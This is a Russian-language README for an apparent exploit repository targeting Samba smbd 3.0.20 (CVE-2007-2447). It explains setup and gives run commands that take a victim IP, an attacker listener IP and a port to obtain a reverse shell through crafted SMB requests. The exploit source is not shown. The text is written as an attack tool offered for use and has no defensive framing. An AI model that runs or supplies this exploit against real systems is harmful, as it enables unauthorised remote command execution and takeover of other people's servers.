
Эксплойт на Python для Samba smbd 3.0.20 (CVE-2007-2447), позволяющий удаленное выполнение команд и получение обратной оболочки через специально сформированные SMB-запросы.
Этот репозиторий содержит эксплойт для Samba smbd 3.0.20 (CVE-2007-2447), позволяющий удаленно выполнять команды через специально сформированные SMB-запросы.
Этот эксплойт требует Python 3 и несколько зависимостей. Рекомендуется настроить виртуальное окружение перед запуском эксплойта.
Клонируйте репозиторий:
git clone https://github.com/your-repo/CVE-2007-2447.git
cd CVE-2007-2447
Создайте виртуальное окружение Python:
python3 -m venv smb_env
source smb_env/bin/activate # Linux/macOS
(Пользователи Windows могут активировать с помощью: smb_env\Scripts\activate)
Установите необходимые зависимости:
pip install -r requirements.txt
После настройки виртуального окружения вы можете выполнить эксплойт, используя следующий синтаксис:
python3 CVE-2007-2447.py -t <TARGET_IP> -a <ATTACKER_IP> -p <PORT>
python3 CVE-2007-2447.py -t 192.168.1.100 -a 192.168.1.50 -p 4444
-t / --target: IP-адрес целевой (жертвы) машины.-a / --attacker: IP-адрес слушателя атакующего.-p / --port: Порт для установления обратного соединения (reverse shell).Когда закончите, деактивируйте виртуальное окружение с помощью:
deactivate